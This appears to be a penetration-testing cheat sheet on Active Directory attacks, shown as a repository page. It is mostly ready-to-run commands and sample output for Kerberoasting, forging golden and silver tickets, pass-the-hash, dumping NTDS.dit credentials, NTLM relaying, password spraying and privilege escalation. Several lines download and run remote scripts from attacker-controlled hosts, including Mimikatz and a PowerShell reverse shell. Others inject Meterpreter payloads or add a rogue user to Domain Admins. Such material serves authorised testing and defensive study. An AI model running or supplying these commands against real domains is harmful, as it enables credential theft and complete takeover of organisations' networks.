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https://github.com/swisskyrepo/PayloadsAllTheThings.git
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648 lines
27 KiB
Markdown
648 lines
27 KiB
Markdown
# Active Directory Attacks
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## Summary
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* [Tools](#tools)
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* [Most common paths to AD compromise](#most-common-paths-to-ad-compromise)
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* [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability)
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* [Open Shares](#open-shares)
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* [GPO - Pivoting with Local Admin & Passwords in SYSVOL](#gpo---pivoting-with-local-admin--passwords-in-sysvol)
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* [Dumping AD Domain Credentials](#dumping-ad-domain-credentials-systemrootntdsntdsdit)
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* [Password in AD User comment](#password-in-ad-user-comment)
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* [Golden Tickets](#passtheticket-golden-tickets)
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* [Silver Tickets](#passtheticket-silver-tickets)
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* [Trust Tickets](#trust-tickets)
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* [Kerberoast](#kerberoast)
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* [KRB_AS_REP roasting](#krb_as_rep-roasting)
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* [Pass-the-Hash](#pass-the-hash)
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* [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
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* [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes)
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* [NTLMv2 hashes relaying](#ntlmv2-hashes-relaying)
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* [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
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* [Trust relationship between domains](#trust-relationship-between-domains)
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* [PrivExchange attack](#privexchange-attack)
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* [Password spraying](#password-spraying)
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* [Privilege Escalation](#privilege-escalation)
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* [PrivEsc Local Admin - Token Impersonation (RottenPotato)](#privesc-local-admin---token-impersonation-rottenpotato)
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* [PrivEsc Local Admin - MS16-032](#privesc-local-admin---ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
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* [PrivEsc Local Admin - MS17-010 (Eternal Blue)](#privesc-local-admin---ms17-010-eternal-blue)
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* [From Local Admin to Domain Admin](#from-local-admin-to-domain-admin)
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## Tools
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* [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows)
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* [Responder](https://github.com/SpiderLabs/Responder)
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* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
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* [Ranger](https://github.com/funkandwagnalls/ranger)
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* [BloodHound](https://github.com/BloodHoundAD/BloodHound)
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```powershell
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apt install bloodhound #kali
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neo4j console
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Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
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./bloodhound
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SharpHound.exe (from resources/Ingestor)
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SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
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or
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Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
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or
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bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
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```
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* [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
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* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
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```bash
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git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
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crackmapexec smb -L
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crackmapexec smb -M name_module -o VAR=DATA
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crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares
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crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
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crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
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crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
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crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
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crackmapexec mimikatz --server http --server-port 80
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```
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* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
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```powershell
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powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks"
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powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"
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```
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* [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script)
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```powershell
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powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1
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```
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* [Ping Castle](https://github.com/vletoux/pingcastle)
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```powershell
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pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
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```
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* [Kerbrute](https://github.com/ropnop/kerbrute)
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```powershell
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./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
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```
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## Most common paths to AD compromise
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### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
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```bash
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Exploit Python: https://www.exploit-db.com/exploits/35474/
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Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
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Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
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git clone https://github.com/bidord/pykek
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python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
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python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
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mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
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```
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### Open Shares
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```powershell
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smbmap -H 10.10.10.100 # null session
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smbmap -H 10.10.10.100 -R # recursive listing
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smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
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```
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or
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```powershell
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pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
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ls # list files
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cd # move inside a folder
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get # download files
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put # replace a file
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```
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or
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```powershell
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smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
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Sharename Type Comment
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--------- ---- -------
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ADMIN$ Disk Remote Admin
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C$ Disk Default share
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IPC$ IPC Remote IPC
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NETLOGON Disk Logon server share
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Replication Disk
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SYSVOL Disk Logon server share
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Users Disk
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use Sharename # select a Sharename
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cd Folder # move inside a folder
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ls # list files
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```
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Mount a share
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```powershell
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smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
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```
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### GPO - Pivoting with Local Admin & Passwords in SYSVOL
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:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
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Find password in SYSVOL (MS14-025)
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```powershell
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findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
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```
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Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)
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```bash
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echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
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e.g:
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echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
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echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
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```
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Metasploit modules to enumerate shares and credentials
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```c
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scanner/smb/smb_enumshares
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post/windows/gather/enum_shares
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post/windows/gather/credentials/gpp
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```
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Crackmapexec modules
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```powershell
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cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
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cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
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```
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List all GPO for a domain
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```powershell
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Get-GPO -domaine DOMAIN.COM -all
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Get-GPOReport -all -reporttype xml --all
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Powersploit:
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Get-NetGPO
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Get-NetGPOGroup
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```
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### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)
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#### Using ndtsutil
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```powershell
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C:\>ntdsutil
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ntdsutil: activate instance ntds
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ntdsutil: ifm
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ifm: create full c:\pentest
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ifm: quit
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ntdsutil: quit
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```
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or
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```powershell
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ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
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```
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#### Using Vshadow
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```powershell
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vssadmin create shadow /for=C :
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Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
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```
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You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
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```powershell
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Import-Module .\Copy-VSS.ps1
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Copy-VSS
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Copy-VSS -DestinationDir C:\ShadowCopy\
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```
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#### Using vssadmin
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```powershell
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vssadmin create shadow /for=C:
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copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
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copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
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```
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#### Using DiskShadow (a Windows signed binary)
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```powershell
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diskshadow.txt contains :
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set context persistent nowriters
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add volume c: alias someAlias
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create
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expose %someAlias% z:
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exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
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delete shadows volume %someAlias%
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reset
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then:
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NOTE - must be executed from C:\Windows\System32
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diskshadow.exe /s c:\diskshadow.txt
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dir c:\exfil
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reg.exe save hklm\system c:\exfil\system.bak
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```
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#### Extract hashes from ntds.dit
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then you need to use secretsdump to extract the hashes
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```java
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secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
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```
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secretsdump also works remotely
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```java
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./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
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./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
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```
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#### Alternatives - modules
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Metasploit modules
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```c
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windows/gather/credentials/domain_hashdump
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```
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PowerSploit module
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```powershell
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Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
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```
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CrackMapExec module
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```powershell
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cme smb 10.10.0.202 -u username -p password --ntds vss
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```
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### Password in AD User comment
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```powershell
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enum4linux | grep -i desc
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There are 3-4 fields that seem to be common in most AD schemas:
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UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
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```
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### PassTheTicket Golden Tickets
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Forging a TGT require the krbtgt key
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Mimikatz version
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```powershell
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Get info - Mimikatz
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lsadump::dcsync /user:krbtgt
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lsadump::lsa /inject /name:krbtgt
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Forge a Golden ticket - Mimikatz
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kerberos::purge
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kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
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kerberos::tgt
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```
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Meterpreter version
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```powershell
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Get info - Meterpreter(kiwi)
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dcsync_ntlm krbtgt
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dcsync krbtgt
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Forge a Golden ticket - Meterpreter
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load kiwi
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golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
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golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
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kerberos_ticket_purge
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kerberos_ticket_use /root/Downloads/pentestlabuser.tck
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kerberos_ticket_list
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```
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Using a ticket on Linux
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```powershell
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Convert the ticket kirbi to ccache with kekeo
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misc::convert ccache ticket.kirbi
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Alternatively you can use ticketer from Impacket
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./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
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ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
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./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
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export KRB5CCNAME=/home/user/ticket.ccache
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cat $KRB5CCNAME
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NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
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./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
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```
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### PassTheTicket Silver Tickets
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Forging a TGS require machine accound password (key) from the KDC
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```powershell
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Create a ticket for the service
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kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
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/kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
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Then use the same steps as a Golden ticket
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misc::convert ccache ticket.kirbi
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export KRB5CCNAME=/home/user/ticket.ccache
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./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
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```
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### Trust Tickets
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TODO
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### Kerberoast
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> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)
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Any valid domain user can request a kerberos ticket for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
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```powershell
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$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
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Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
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ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
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-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
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active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11
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|
||
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2
|
||
```
|
||
|
||
Then crack the ticket with hashcat or john
|
||
|
||
```powershell
|
||
hashcat -m 13100 -a 0 hash.txt crackstation.txt
|
||
./john ~/hash.txt --wordlist=rockyou.lst
|
||
```
|
||
|
||
### KRB_AS_REP Roasting
|
||
|
||
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
|
||
|
||
```powershell
|
||
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
|
||
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user
|
||
|
||
______ _
|
||
(_____ \ | |
|
||
_____) )_ _| |__ _____ _ _ ___
|
||
| __ /| | | | _ \| ___ | | | |/___)
|
||
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||
|_| |_|____/|____/|_____)____/(___/
|
||
|
||
v1.3.4
|
||
|
||
|
||
[*] Action: AS-REP roasting
|
||
|
||
[*] Target User : TestOU3user
|
||
[*] Target Domain : testlab.local
|
||
|
||
[*] SamAccountName : TestOU3user
|
||
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
|
||
[*] Using domain controller: testlab.local (192.168.52.100)
|
||
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
|
||
[*] Connecting to 192.168.52.100:88
|
||
[*] Sent 169 bytes
|
||
[*] Received 1437 bytes
|
||
[+] AS-REQ w/o preauth successful!
|
||
[*] AS-REP hash:
|
||
|
||
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
|
||
```
|
||
|
||
### Pass-the-Hash
|
||
|
||
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.
|
||
|
||
```powershell
|
||
use exploit/windows/smb/psexec
|
||
set RHOST 10.2.0.3
|
||
set SMBUser jarrieta
|
||
set SMBPass nastyCutt3r
|
||
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
|
||
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
|
||
set PAYLOAD windows/meterpreter/bind_tcp
|
||
run
|
||
shell
|
||
|
||
or with crackmapexec
|
||
cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
|
||
also works with net range : cme smb 10.2.0.2/24 ...
|
||
|
||
or with psexec
|
||
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
|
||
|
||
or with the builtin Windows RDP and mimikatz
|
||
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
|
||
```
|
||
|
||
### OverPass-the-Hash (pass the key)
|
||
|
||
Request a TGT with only the NT hash
|
||
|
||
```powershell
|
||
Using impacket
|
||
./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
|
||
chmod 600 tgwynn.ccache
|
||
|
||
also with the AES Key if you have it
|
||
./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
|
||
|
||
|
||
ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
|
||
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
|
||
klist
|
||
```
|
||
|
||
### Capturing and cracking NTLMv2 hashes
|
||
|
||
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.
|
||
|
||
```python
|
||
python Responder.py -I eth0
|
||
```
|
||
|
||
Then crack the hash with `hashcat`
|
||
|
||
```powershell
|
||
hashcat -m 5600 -a 0 hash.txt crackstation.txt
|
||
```
|
||
|
||
### NTLMv2 hashes relaying
|
||
|
||
If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine.
|
||
|
||
1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
|
||
2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
|
||
3. Run `python Responder.py -I <interface_card>` and `python MultiRelay.py -t <target_machine_IP> -u ALL`
|
||
4. Wait for a shell
|
||
|
||
### Dangerous Built-in Groups Usage
|
||
|
||
AdminSDHolder
|
||
|
||
```powershell
|
||
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
|
||
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
|
||
or
|
||
([adsisearcher]"(AdminCount=1)").findall()
|
||
```
|
||
|
||
### Trust relationship between domains
|
||
|
||
```powershell
|
||
nltest /trusted_domains
|
||
```
|
||
|
||
or
|
||
|
||
```powershell
|
||
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
|
||
|
||
SourceName TargetName TrustType TrustDirection
|
||
---------- ---------- --------- --------------
|
||
domainA.local domainB.local TreeRoot Bidirectional
|
||
```
|
||
|
||
### PrivExchange attack
|
||
|
||
Exchange your privileges for Domain Admin privs by abusing Exchange.
|
||
You need a shell on a user account with a mailbox.
|
||
|
||
1. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server.
|
||
```bash
|
||
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
|
||
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
|
||
|
||
# https://github.com/G0ldenGunSec/PowerPriv
|
||
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
|
||
```
|
||
|
||
2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
|
||
3. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
|
||
```bash
|
||
python secretsdump.py xxxxxxxxxx -just-dc
|
||
```
|
||
|
||
Alternatively you can use the Metasploit module
|
||
|
||
[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)
|
||
|
||
### Password spraying
|
||
|
||
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
|
||
|
||
```powershell
|
||
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
|
||
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
|
||
```
|
||
|
||
|
||
## Privilege Escalation
|
||
|
||
### PrivEsc Local Admin - Token Impersonation (RottenPotato)
|
||
|
||
Binary available at : https://github.com/foxglovesec/RottenPotato
|
||
Binary available at : https://github.com/breenmachine/RottenPotatoNG
|
||
|
||
```c
|
||
getuid
|
||
getprivs
|
||
use incognito
|
||
list\_tokens -u
|
||
cd c:\temp\
|
||
execute -Hc -f ./rot.exe
|
||
impersonate\_token "NT AUTHORITY\SYSTEM"
|
||
```
|
||
|
||
```powershell
|
||
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
|
||
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
|
||
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
|
||
```
|
||
|
||
### PrivEsc Local Admin - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
|
||
|
||
Check if the patch is installed : `wmic qfe list | find "3139914"`
|
||
|
||
```powershell
|
||
Powershell:
|
||
https://www.exploit-db.com/exploits/39719/
|
||
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
|
||
|
||
Binary exe : https://github.com/Meatballs1/ms16-032
|
||
|
||
Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
|
||
```
|
||
|
||
### PrivEsc Local Admin - MS17-010 (Eternal Blue)
|
||
|
||
```c
|
||
nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17–010 <ip_netblock>
|
||
```
|
||
|
||
### From Local Admin to Domain Admin
|
||
|
||
```powershell
|
||
net user hacker2 hacker123 /add /Domain
|
||
net group "Domain Admins" hacker2 /add /domain
|
||
```
|
||
|
||
## References
|
||
|
||
* [https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html](https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html)
|
||
* [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
|
||
* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
|
||
* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
|
||
* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/)
|
||
* [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
|
||
* [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
|
||
* [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
|
||
* [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/)
|
||
* [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/)
|
||
* [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
|
||
* [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
|
||
* [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
|
||
* [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
|
||
* [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
|
||
* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)
|
||
* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
|
||
* [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
|
||
* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
|
||
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
|
||
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
|
||
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
|
||
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/)
|
||
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
|
||
* [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf)
|
||
* [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/)
|
||
* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)
|
||
* [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/)
|
||
* [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/)
|
||
* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf)
|
||
* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
|
||
* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/)
|
||
